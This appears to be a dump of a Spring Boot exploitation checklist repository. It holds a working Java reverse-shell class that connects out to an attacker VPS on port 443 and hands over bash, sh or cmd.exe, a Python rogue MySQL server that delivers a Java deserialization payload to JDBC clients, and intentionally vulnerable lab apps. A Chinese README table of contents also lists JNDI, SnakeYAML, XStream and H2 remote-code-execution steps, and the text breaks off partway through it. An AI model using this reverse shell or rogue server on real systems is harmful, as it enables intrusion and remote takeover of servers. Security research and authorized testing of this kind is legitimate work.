56 | 57 | 58 | -------------------------------------------------------------------------------- /codebase/JNDIObject.java: -------------------------------------------------------------------------------- 1 | /** 2 | * javac -source 1.5 -target 1.5 JNDIObject.java 3 | * 4 | * Build By LandGrey 5 | * */ 6 | 7 | import java.io.File; 8 | import java.io.InputStream; 9 | import java.io.OutputStream; 10 | import java.net.Socket; 11 | 12 | public class JNDIObject { 13 | static { 14 | try{ 15 | String ip = "your-vps-ip"; 16 | String port = "443"; 17 | String py_path = null; 18 | String[] cmd; 19 | if (!System.getProperty("os.name").toLowerCase().contains("windows")) { 20 | String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"}; 21 | for(int i = 0; i < py_envs.length; ++i) { 22 | String py = py_envs[i]; 23 | if ((new File(py)).exists()) { 24 | py_path = py; 25 | break; 26 | } 27 | } 28 | if (py_path != null) { 29 | if ((new File("/bin/bash")).exists()) { 30 | cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"}; 31 | } else { 32 | cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"}; 33 | } 34 | } else { 35 | if ((new File("/bin/bash")).exists()) { 36 | cmd = new String[]{"/bin/bash"}; 37 | } else { 38 | cmd = new String[]{"/bin/sh"}; 39 | } 40 | } 41 | } else { 42 | cmd = new String[]{"cmd.exe"}; 43 | } 44 | Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start(); 45 | Socket s = new Socket(ip, Integer.parseInt(port)); 46 | InputStream pi = p.getInputStream(); 47 | InputStream pe = p.getErrorStream(); 48 | InputStream si = s.getInputStream(); 49 | OutputStream po = p.getOutputStream(); 50 | OutputStream so = s.getOutputStream(); 51 | while(!s.isClosed()) { 52 | while(pi.available() > 0) { 53 | so.write(pi.read()); 54 | } 55 | while(pe.available() > 0) { 56 | so.write(pe.read()); 57 | } 58 | while(si.available() > 0) { 59 | po.write(si.read()); 60 | } 61 | so.flush(); 62 | po.flush(); 63 | Thread.sleep(50L); 64 | try { 65 | p.exitValue(); 66 | break; 67 | } catch (Exception e) { 68 | } 69 | } 70 | p.destroy(); 71 | s.close(); 72 | }catch (Throwable e){ 73 | e.printStackTrace(); 74 | } 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/controllers/ProductController.java: -------------------------------------------------------------------------------- 1 | package code.landgrey.controllers; 2 | 3 | import code.landgrey.commands.ProductForm; 4 | import code.landgrey.converters.ProductToProductForm; 5 | import code.landgrey.domain.Product; 6 | import code.landgrey.services.ProductService; 7 | import org.springframework.beans.factory.annotation.Autowired; 8 | import org.springframework.stereotype.Controller; 9 | import org.springframework.ui.Model; 10 | import org.springframework.validation.BindingResult; 11 | import org.springframework.web.bind.annotation.PathVariable; 12 | import org.springframework.web.bind.annotation.RequestMapping; 13 | import org.springframework.web.bind.annotation.RequestMethod; 14 | 15 | import javax.validation.Valid; 16 | 17 | 18 | @Controller 19 | public class ProductController { 20 | private ProductService productService; 21 | 22 | private ProductToProductForm productToProductForm; 23 | 24 | @Autowired 25 | public void setProductToProductForm(ProductToProductForm productToProductForm) { 26 | this.productToProductForm = productToProductForm; 27 | } 28 | 29 | @Autowired 30 | public void setProductService(ProductService productService) { 31 | this.productService = productService; 32 | } 33 | 34 | @RequestMapping({"/product/list", "/product"}) 35 | public String listProducts(Model model){ 36 | model.addAttribute("products", productService.listAll()); 37 | return "/product/list"; 38 | } 39 | 40 | @RequestMapping("/product/show/{id}") 41 | public String getProduct(@PathVariable String id, Model model){ 42 | model.addAttribute("product", productService.getById(Long.valueOf(id))); 43 | return "product/show"; 44 | } 45 | 46 | @RequestMapping("product/edit/{id}") 47 | public String edit(@PathVariable String id, Model model){ 48 | Product product = productService.getById(Long.valueOf(id)); 49 | ProductForm productForm = productToProductForm.convert(product); 50 | 51 | model.addAttribute("productForm", productForm); 52 | return "product/productform"; 53 | } 54 | 55 | @RequestMapping("/product/new") 56 | public String newProduct(Model model){ 57 | model.addAttribute("productForm", new ProductForm()); 58 | return "product/productform"; 59 | } 60 | 61 | @RequestMapping(value = "/product", method = RequestMethod.POST) 62 | public String saveOrUpdateProduct(@Valid ProductForm productForm, BindingResult bindingResult){ 63 | 64 | if(bindingResult.hasErrors()){ 65 | return "product/productform"; 66 | } 67 | 68 | Product savedProduct = productService.saveOrUpdateProductForm(productForm); 69 | 70 | return "redirect:/product/show/" + savedProduct.getId(); 71 | } 72 | 73 | @RequestMapping("/product/delete/{id}") 74 | public String delete(@PathVariable String id){ 75 | productService.delete(Long.valueOf(id)); 76 | return "redirect:/product/list"; 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /repository/springboot-eureka-xstream-rce/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.example 8 | springboot-eureka-xstream-rce 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 1.8 13 | 1.4.7.RELEASE 14 | 1.4.0.RELEASE 15 | 16 | 1.1.3.RELEASE 17 | 1.2.0.RELEASE 18 | 19 | 20 | 21 | 22 | org.springframework.boot 23 | spring-boot-starter-web 24 | ${springboot.version} 25 | 26 | 27 | 28 | org.springframework.boot 29 | spring-boot-starter-actuator 30 | ${springboot.version} 31 | 32 | 33 | 34 | org.springframework.cloud 35 | spring-cloud-starter-netflix-eureka-client 36 | ${netflix.eureka.version} 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | org.springframework.cloud 46 | spring-cloud-commons-dependencies 47 | ${spring-cloud-commons.version} 48 | pom 49 | import 50 | 51 | 52 | 53 | org.springframework.cloud 54 | spring-cloud-netflix-dependencies 55 | ${spring-cloud-netflix.version} 56 | pom 57 | import 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | org.springframework.boot 75 | spring-boot-maven-plugin 76 | ${springboot.version} 77 | 78 | 79 | 80 | 81 | -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.example 8 | springboot-mysql-jdbc-rce 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 1.8 13 | 14 | 15 | 16 | org.springframework.boot 17 | spring-boot-starter-parent 18 | 2.2.1.RELEASE 19 | 20 | 21 | 22 | 23 | mysql 24 | mysql-connector-java 25 | 8.0.12 26 | 27 | 28 | 29 | commons-collections 30 | commons-collections 31 | 3.2.1 32 | runtime 33 | 34 | 35 | 36 | org.springframework.boot 37 | spring-boot-starter-thymeleaf 38 | 39 | 40 | 41 | org.springframework.boot 42 | spring-boot-starter-web 43 | 44 | 45 | org.springframework.boot 46 | spring-boot-starter-test 47 | test 48 | 49 | 50 | org.springframework.cloud 51 | spring-cloud-starter-config 52 | 53 | 54 | org.springframework.boot 55 | spring-boot-starter-actuator 56 | 57 | 58 | org.springframework.cloud 59 | spring-cloud-starter 60 | 61 | 62 | org.springframework.boot 63 | spring-boot-starter-data-jpa 64 | 65 | 66 | 67 | 68 | 69 | 70 | org.springframework.cloud 71 | spring-cloud-dependencies 72 | Greenwich.SR4 73 | pom 74 | import 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | org.springframework.boot 83 | spring-boot-maven-plugin 84 | 85 | false 86 | 87 | 88 | 89 | 90 | 91 | -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/src/main/resources/templates/product/productform.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Spring Core Online Tutorial - Product Form 5 | 6 | 7 | 10 | 11 | 13 | 14 | 16 | 17 | 18 |
19 | 20 |

Product Details

21 |
22 |
23 | 24 |
25 |

Error Message

26 |
27 | 28 | 29 | 30 |
31 | 32 |
33 | 34 | 35 | 36 |
    37 |
  • 38 |
39 |
40 |
41 |
42 | 43 |
44 | 45 |
46 | 47 | 48 | 49 |
    50 |
  • 51 |
52 |
53 |
54 |
55 | 56 |
57 | 58 |
59 | 60 | 61 | 62 |
    63 |
  • 64 |
65 |
66 |
67 |
68 |
69 | 70 |
71 |
72 |
73 |
74 | 75 | 76 | -------------------------------------------------------------------------------- /codebase/springboot-jdbc-deserialization-rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding: utf-8 3 | # -**- Author: LandGrey -**- 4 | 5 | import os 6 | import socket 7 | import binascii 8 | 9 | 10 | def server_send(conn, payload): 11 | global count 12 | count += 1 13 | print("[*] Package order: {}, Send: {}".format(count, payload)) 14 | conn.send(binascii.a2b_hex(payload)) 15 | 16 | 17 | def server_receive(conn): 18 | global count, BUFFER_SIZE 19 | 20 | count += 1 21 | data = conn.recv(BUFFER_SIZE) 22 | print("[*] Package order: {}, Receive: {}".format(count, data)) 23 | return str(data).lower() 24 | 25 | 26 | def run_mysql_server(): 27 | global count, deserialization_payload 28 | 29 | while True: 30 | count = 0 31 | conn, addr = server_socks.accept() 32 | print("[+] Connection from client -> {}:{}".format(addr[0], addr[1])) 33 | greeting = '4a0000000a352e372e323900160000006c7a5d420d107a7700ffff080200ffc11500000000000000000000566d1a0a796d3e1338313747006d7973716c5f6e61746976655f70617373776f726400' 34 | server_send(conn, greeting) 35 | if os.path.isfile(deserialization_file): 36 | with open(deserialization_file, 'rb') as _f: 37 | deserialization_payload = binascii.b2a_hex(_f.read()) 38 | while True: 39 | # client auth 40 | server_receive(conn) 41 | server_send(conn, response_ok) 42 | 43 | # client query 44 | data = server_receive(conn) 45 | if "session.auto_increment_increment" in data: 46 | _payload = '01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c210009000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000f90000150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013007343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e035554430653595354454d0f52455045415441424c452d5245414405323838303007000016fe000002000200' 47 | server_send(conn, _payload) 48 | data = server_receive(conn) 49 | if "show warnings" in data: 50 | _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000' 51 | server_send(conn, _payload) 52 | data = server_receive(conn) 53 | if "set names" in data: 54 | server_send(conn, response_ok) 55 | data = server_receive(conn) 56 | if "set character_set_results" in data: 57 | server_send(conn, response_ok) 58 | data = server_receive(conn) 59 | if "show session status" in data: 60 | _data = '0100000102' 61 | _data += '2700000203646566056365736869046f626a73046f626a730269640269640c3f000b000000030000000000' 62 | _data += '2900000303646566056365736869046f626a73046f626a73036f626a036f626a0c3f00ffff0000fc9000000000' 63 | _payload_hex = str(hex(len(deserialization_payload)/2)).replace('0x', '').zfill(4) 64 | _payload_length = _payload_hex[2:4] + _payload_hex[0:2] 65 | _data_hex = str(hex(len(deserialization_payload)/2 + 5)).replace('0x', '').zfill(6) 66 | _data_lenght = _data_hex[4:6] + _data_hex[2:4] + _data_hex[0:2] 67 | _data += _data_lenght + '04' + '0131fc' + _payload_length + deserialization_payload 68 | _data += '07000005fe000022000100' 69 | server_send(conn, _data) 70 | data = server_receive(conn) 71 | if "show warnings" in data: 72 | _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000' 73 | server_send(conn, _payload) 74 | 75 | break 76 | try: 77 | conn.close() 78 | except Exception as e: 79 | pass 80 | 81 | 82 | if __name__ == "__main__": 83 | HOST = "0.0.0.0" 84 | PORT = 3306 85 | 86 | deserialization_file = r'payload.ser' 87 | if os.path.isfile(deserialization_file): 88 | with open(deserialization_file, 'rb') as f: 89 | deserialization_payload = binascii.b2a_hex(f.read()) 90 | else: 91 | deserialization_payload = 'aced****(your deserialized hex data)' 92 | 93 | count = 0 94 | BUFFER_SIZE = 1024 95 | response_ok = '0700000200000002000000' 96 | print("[+] rogue mysql server Listening on {}:{}".format(HOST, PORT)) 97 | server_socks = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 98 | server_socks.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 99 | server_socks.bind((HOST, PORT)) 100 | server_socks.listen(1) 101 | 102 | run_mysql_server() 103 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Spring Boot Vulnerability Exploit CheckList 2 | 3 | Spring Boot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全评估 check list 4 | 5 | 6 | 7 | ## 声明 8 | 9 | > **⚠️ 本项目所有内容仅作为安全研究和授权测试使用, 相关人员对因误用和滥用该项目造成的一切损害概不负责** 10 | 11 | 12 | 13 | 目录 14 | ----------------- 15 | 16 | * [Spring Boot Vulnerability Exploit CheckList](#spring-boot-vulnerability-exploit-checklist) 17 | * [零:路由和版本](#%E9%9B%B6%E8%B7%AF%E7%94%B1%E5%92%8C%E7%89%88%E6%9C%AC) 18 | * [0x01:路由知识](#0x01%E8%B7%AF%E7%94%B1%E7%9F%A5%E8%AF%86) 19 | * [0x02:版本知识](#0x02%E7%89%88%E6%9C%AC%E7%9F%A5%E8%AF%86) 20 | * [常见组件的版本相互依赖关系:](#%E5%B8%B8%E8%A7%81%E7%BB%84%E4%BB%B6%E7%9A%84%E7%89%88%E6%9C%AC%E7%9B%B8%E4%BA%92%E4%BE%9D%E8%B5%96%E5%85%B3%E7%B3%BB) 21 | * [Spring Cloud 与 Spring Boot 大版本之间的依赖关系:](#spring-cloud-%E4%B8%8E-spring-boot-%E5%A4%A7%E7%89%88%E6%9C%AC%E4%B9%8B%E9%97%B4%E7%9A%84%E4%BE%9D%E8%B5%96%E5%85%B3%E7%B3%BB) 22 | * [Spring Cloud 小版本号的后缀及含义:](#spring-cloud-%E5%B0%8F%E7%89%88%E6%9C%AC%E5%8F%B7%E7%9A%84%E5%90%8E%E7%BC%80%E5%8F%8A%E5%90%AB%E4%B9%89) 23 | * [一:信息泄露](#%E4%B8%80%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2) 24 | * [0x01:路由地址及接口调用详情泄漏](#0x01%E8%B7%AF%E7%94%B1%E5%9C%B0%E5%9D%80%E5%8F%8A%E6%8E%A5%E5%8F%A3%E8%B0%83%E7%94%A8%E8%AF%A6%E6%83%85%E6%B3%84%E6%BC%8F) 25 | * [0x02:配置不当而暴露的路由](#0x02%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E8%80%8C%E6%9A%B4%E9%9C%B2%E7%9A%84%E8%B7%AF%E7%94%B1) 26 | * [0x03:获取被星号脱敏的密码的明文 (方法一)](#0x03%E8%8E%B7%E5%8F%96%E8%A2%AB%E6%98%9F%E5%8F%B7%E8%84%B1%E6%95%8F%E7%9A%84%E5%AF%86%E7%A0%81%E7%9A%84%E6%98%8E%E6%96%87-%E6%96%B9%E6%B3%95%E4%B8%80) 27 | * [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6) 28 | * [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95) 29 | * [步骤一: 找到想要获取的属性名](#%E6%AD%A5%E9%AA%A4%E4%B8%80-%E6%89%BE%E5%88%B0%E6%83%B3%E8%A6%81%E8%8E%B7%E5%8F%96%E7%9A%84%E5%B1%9E%E6%80%A7%E5%90%8D) 30 | * [步骤二: jolokia 调用相关 Mbean 获取明文](#%E6%AD%A5%E9%AA%A4%E4%BA%8C-jolokia-%E8%B0%83%E7%94%A8%E7%9B%B8%E5%85%B3-mbean-%E8%8E%B7%E5%8F%96%E6%98%8E%E6%96%87) 31 | * [0x04:获取被星号脱敏的密码的明文 (方法二)](#0x04%E8%8E%B7%E5%8F%96%E8%A2%AB%E6%98%9F%E5%8F%B7%E8%84%B1%E6%95%8F%E7%9A%84%E5%AF%86%E7%A0%81%E7%9A%84%E6%98%8E%E6%96%87-%E6%96%B9%E6%B3%95%E4%BA%8C) 32 | * [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-1) 33 | * [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-1) 34 | * [步骤一: 找到想要获取的属性名](#%E6%AD%A5%E9%AA%A4%E4%B8%80-%E6%89%BE%E5%88%B0%E6%83%B3%E8%A6%81%E8%8E%B7%E5%8F%96%E7%9A%84%E5%B1%9E%E6%80%A7%E5%90%8D-1) 35 | * [步骤二: 使用 nc 监听 HTTP 请求](#%E6%AD%A5%E9%AA%A4%E4%BA%8C-%E4%BD%BF%E7%94%A8-nc-%E7%9B%91%E5%90%AC-http-%E8%AF%B7%E6%B1%82) 36 | * [步骤三: 设置 eureka\.client\.serviceUrl\.defaultZone 属性](#%E6%AD%A5%E9%AA%A4%E4%B8%89-%E8%AE%BE%E7%BD%AE-eurekaclientserviceurldefaultzone-%E5%B1%9E%E6%80%A7) 37 | * [步骤四: 刷新配置](#%E6%AD%A5%E9%AA%A4%E5%9B%9B-%E5%88%B7%E6%96%B0%E9%85%8D%E7%BD%AE) 38 | * [步骤五: 解码属性值](#%E6%AD%A5%E9%AA%A4%E4%BA%94-%E8%A7%A3%E7%A0%81%E5%B1%9E%E6%80%A7%E5%80%BC) 39 | * [0x05:获取被星号脱敏的密码的明文 (方法三)](#0x05%E8%8E%B7%E5%8F%96%E8%A2%AB%E6%98%9F%E5%8F%B7%E8%84%B1%E6%95%8F%E7%9A%84%E5%AF%86%E7%A0%81%E7%9A%84%E6%98%8E%E6%96%87-%E6%96%B9%E6%B3%95%E4%B8%89) 40 | * [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-2) 41 | * [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-2) 42 | * [步骤一: 找到想要获取的属性名](#%E6%AD%A5%E9%AA%A4%E4%B8%80-%E6%89%BE%E5%88%B0%E6%83%B3%E8%A6%81%E8%8E%B7%E5%8F%96%E7%9A%84%E5%B1%9E%E6%80%A7%E5%90%8D-2) 43 | * [步骤二: 使用 nc 监听 HTTP 请求](#%E6%AD%A5%E9%AA%A4%E4%BA%8C-%E4%BD%BF%E7%94%A8-nc-%E7%9B%91%E5%90%AC-http-%E8%AF%B7%E6%B1%82-1) 44 | * [步骤三: 触发对外 http 请求](#%E6%AD%A5%E9%AA%A4%E4%B8%89-%E8%A7%A6%E5%8F%91%E5%AF%B9%E5%A4%96-http-%E8%AF%B7%E6%B1%82) 45 | * [步骤四: 刷新配置](#%E6%AD%A5%E9%AA%A4%E5%9B%9B-%E5%88%B7%E6%96%B0%E9%85%8D%E7%BD%AE-1) 46 | * [二:远程代码执行](#%E4%BA%8C%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C) 47 | * [0x01:whitelabel error page SpEL RCE](#0x01whitelabel-error-page-spel-rce) 48 | * [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-3) 49 | * [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-3) 50 | * [步骤一:找到一个正常传参处](#%E6%AD%A5%E9%AA%A4%E4%B8%80%E6%89%BE%E5%88%B0%E4%B8%80%E4%B8%AA%E6%AD%A3%E5%B8%B8%E4%BC%A0%E5%8F%82%E5%A4%84) 51 | * [步骤二:执行 SpEL 表达式](#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E6%89%A7%E8%A1%8C-spel-%E8%A1%A8%E8%BE%BE%E5%BC%8F) 52 | * [漏洞原理:](#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86) 53 | * [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90) 54 | * [漏洞环境:](#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83) 55 | * [0x02:spring cloud SnakeYAML RCE](#0x02spring-cloud-snakeyaml-rce) 56 | * [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-4) 57 | * [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-4) 58 | * [步骤一: 托管 yml 和 jar 文件](#%E6%AD%A5%E9%AA%A4%E4%B8%80-%E6%89%98%E7%AE%A1-yml-%E5%92%8C-jar-%E6%96%87%E4%BB%B6) 59 | * [步骤二: 设置 spring\.cloud\.bootstrap\.location 属性](#%E6%AD%A5%E9%AA%A4%E4%BA%8C-%E8%AE%BE%E7%BD%AE-springcloudbootstraplocation-%E5%B1%9E%E6%80%A7) 60 | * [步骤三: 刷新配置](#%E6%AD%A5%E9%AA%A4%E4%B8%89-%E5%88%B7%E6%96%B0%E9%85%8D%E7%BD%AE) 61 | * [漏洞原理:](#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-1) 62 | * [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-1) 63 | * [漏洞环境:](#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83-1) 64 | * [0x03:eureka xstream deserialization RCE](#0x03eureka-xstream-deserialization-rce) 65 | * [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-5) 66 | * [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-5) 67 | * [步骤一:架设响应恶意 XStream payload 的网站](#%E6%AD%A5%E9%AA%A4%E4%B8%80%E6%9E%B6%E8%AE%BE%E5%93%8D%E5%BA%94%E6%81%B6%E6%84%8F-xstream-payload-%E7%9A%84%E7%BD%91%E7%AB%99) 68 | * [步骤二:监听反弹 shell 的端口](#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E7%9B%91%E5%90%AC%E5%8F%8D%E5%BC%B9-shell-%E7%9A%84%E7%AB%AF%E5%8F%A3) 69 | * [步骤三:设置 eureka\.client\.serviceUrl\.defaultZone 属性](#%E6%AD%A5%E9%AA%A4%E4%B8%89%E8%AE%BE%E7%BD%AE-eurekaclientserviceurldefaultzone-%E5%B1%9E%E6%80%A7) 70 | * [步骤四:刷新配置](#%E6%AD%A5%E9%AA%A4%E5%9B%9B%E5%88%B7%E6%96%B0%E9%85%8D%E7%BD%AE) 71 | * [漏洞原理:](#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-2) 72 | * [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-2) 73 | * [漏洞环境:](#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83-2) 74 | * [0x04:jolokia logback JNDI RCE](#0x04jolokia-logback-jndi-rce) 75 | * [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-6) 76 | * [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-6) 77 | * [步骤一:查看已存在的 MBeans](#%E6%AD%A5%E9%AA%A4%E4%B8%80%E6%9F%A5%E7%9C%8B%E5%B7%B2%E5%AD%98%E5%9C%A8%E7%9A%84-mbeans) 78 | * [步骤二:托管 xml 文件](#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E6%89%98%E7%AE%A1-xml-%E6%96%87%E4%BB%B6) 79 | * [步骤三:准备要执行的 Java 代码](#%E6%AD%A5%E9%AA%A4%E4%B8%89%E5%87%86%E5%A4%87%E8%A6%81%E6%89%A7%E8%A1%8C%E7%9A%84-java-%E4%BB%A3%E7%A0%81) 80 | * [步骤四:架设恶意 ldap 服务](#%E6%AD%A5%E9%AA%A4%E5%9B%9B%E6%9E%B6%E8%AE%BE%E6%81%B6%E6%84%8F-ldap-%E6%9C%8D%E5%8A%A1) 81 | * [步骤五:监听反弹 shell 的端口](#%E6%AD%A5%E9%AA%A4%E4%BA%94%E7%9B%91%E5%90%AC%E5%8F%8D%E5%BC%B9-shell-%E7%9A%84%E7%AB%AF%E5%8F%A3) 82 | * [步骤六:从外部 URL 地址加载日志配置文件](#%E6%AD%A5%E9%AA%A4%E5%85%AD%E4%BB%8E%E5%A4%96%E9%83%A8-url-%E5%9C%B0%E5%9D%80%E5%8A%A0%E8%BD%BD%E6%97%A5%E5%BF%97%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6) 83 | * [漏洞原理:](#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-3) 84 | * [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-3) 85 | * [漏洞环境:](#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83-3) 86 | * [0x05:jolokia Realm JNDI RCE](#0x05jolokia-realm-jndi-rce) 87 | * [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-7) 88 | * [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-7) 89 | * [步骤一:查看已存在的 MBeans](#%E6%AD%A5%E9%AA%A4%E4%B8%80%E6%9F%A5%E7%9C%8B%E5%B7%B2%E5%AD%98%E5%9C%A8%E7%9A%84-mbeans-1) 90 | * [步骤二:准备要执行的 Java 代码](#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E5%87%86%E5%A4%87%E8%A6%81%E6%89%A7%E8%A1%8C%E7%9A%84-java-%E4%BB%A3%E7%A0%81) 91 | * [步骤三:架设恶意 rmi 服务](#%E6%AD%A5%E9%AA%A4%E4%B8%89%E6%9E%B6%E8%AE%BE%E6%81%B6%E6%84%8F-rmi-%E6%9C%8D%E5%8A%A1) 92 | * [步骤四:监听反弹 shell 的端口](#%E6%AD%A5%E9%AA%A4%E5%9B%9B%E7%9B%91%E5%90%AC%E5%8F%8D%E5%BC%B9-shell-%E7%9A%84%E7%AB%AF%E5%8F%A3) 93 | * [步骤五:发送恶意 payload](#%E6%AD%A5%E9%AA%A4%E4%BA%94%E5%8F%91%E9%80%81%E6%81%B6%E6%84%8F-payload) 94 | * [漏洞原理:](#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-4) 95 | * [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-4) 96 | * [漏洞环境:](#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83-4) 97 | * [0x06:h2 database query RCE](#0x06h2-database-query-rce) 98 | * [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-8) 99 | * [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-8) 100 | * [步骤一:设置 spring\.datasource\.hikari\.connection\-test\-query 属性](#%E6%AD%A5%E9%AA%A4%E4%B8%80%E8%AE%BE%E7%BD%AE-springdatasourcehikariconnection-test-query-%E5%B1%9E%E6%80%A7) 101 | * [步骤二:重启应用](#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E9%87%8D%E5%90%AF%E5%BA%94%E7%94%A8) 102 | * [漏洞原理:](#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-5) 103 | * [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-5) 104 | * [漏洞环境:](#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83-5) 105 | * [0x07:h2 database console JNDI RCE](#0x07h2-database-console-jndi-rce) 106 | * [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-9) 107 | * [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-9) 108 | * [步骤一:访问路由获得 